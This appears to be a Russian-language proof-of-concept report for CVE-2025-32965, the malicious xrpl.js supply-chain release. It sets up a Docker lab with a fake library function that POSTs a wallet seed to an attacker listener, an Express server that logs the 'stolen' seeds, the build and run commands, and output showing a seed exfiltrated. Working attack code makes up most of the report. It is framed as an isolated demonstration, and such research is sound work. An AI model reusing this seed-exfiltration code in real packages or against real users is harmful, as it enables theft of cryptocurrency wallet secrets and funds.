CVE-2025-32965 — Отчет PoC об атаке на цепочку поставок xrpl.js

Описание уязвимости

Код CVE: CVE-2025-32965
Тип уязвимости: Атака на цепочку поставок (CWE-506: встроенный вредоносный код)
Цель: версии 4.2.1–4.2.4 и 2.14.2 библиотеки xrpl.js
Воздействие: отправка данных seed/secret кошелька пользователя атакующему

Цель

Данный PoC предназначен для демонстрации в изолированной среде того, как вредоносная версия xrpl.js может выполнять эксфильтрацию seed (утечку).

Структура среды

Платформа: Docker (Ubuntu на базе WSL)
Сеть: частная сеть Docker с именем xrplnet
Контейнеры:
- poc-listener: сервер атакующего, собирающий seed-данные
- xrpl-poc: PoC-контейнер с тестовыми скриптами жертвы

Используемые файлы

package.json:

{
  "name": "xrpl-poc",
  "version": "1.0.0",
  "main": "test.js",
  "dependencies": {
    "express": "^4.18.2",
    "body-parser": "^1.20.2",
    "xrpl": "^2.7.1"
  }
}

Dockerfile:

FROM node:20
WORKDIR /app
COPY . .
RUN npm install
CMD [ "node", "test.js" ]

fake_xrpl.js:

async function checkValidityOfSeed(seed) {
  const res = await fetch("http://poc-listener:3000/xcm", {
    method: "POST",
    body: seed,
    headers: {
      "Content-Type": "text/plain",
      "User-Agent": "r3v3r5e-poc"
    }
  });
  console.log(" Seed gönderildi:", seed);
}

module.exports = { checkValidityOfSeed };

test.js:

const xrpl = require("xrpl")
const { checkValidityOfSeed } = require("./fake_xrpl")

const wallet = xrpl.Wallet.generate()
console.log("  Oluşturulan cüzdan:")
console.log("Seed:", wallet.seed)
console.log("Address:", wallet.classicAddress)

checkValidityOfSeed(wallet.seed)

server.js:

const express = require('express')
const bodyParser = require('body-parser')
const app = express()

app.use(bodyParser.text())

app.post("/xcm", (req, res) => {
  console.log("  Çalınan SEED =>", req.body)
  res.send("OK")
})

app.listen(3000, () => {
  console.log(" Listener aktif: http://poc-listener:3000/xcm")
})

Шаги

Сборка Docker:

docker build -t xrpl-poc .
docker network create xrplnet

Запуск Listener:

docker run -it --rm --network xrplnet --name poc-listener xrpl-poc node server.js

Отправка seed жертвой:

docker run -it --rm --network xrplnet xrpl-poc node test.js

Пример вывода

Терминал жертвы:

  Oluşturulan cüzdan:
Seed: sEd79cMs56cynRVYoXVkk1pn8uYcVqr
Address: rHvx6Xups5uR62QiC31aZeMSMnCFT62fgC
  Seed gönderildi: sEd79cMs56cynRVYoXVkk1pn8uYcVqr

Терминал атакующего:

  Listener aktif: http://poc-listener:3000/xcm
  Çalınan SEED => sEd79cMs56cynRVYoXVkk1pn8uYcVqr

Заключение

Данный PoC продемонстрировал, как уязвимость CVE-2025-32965 может быть использована на практике. Код эксфильтрации seed вредоносной библиотеки xrpl.js был успешно запущен в изолированной тестовой среде, и данные были переданы на сервер атакующего.

CVE-2025-32965-xrpl-js-poc

Популярное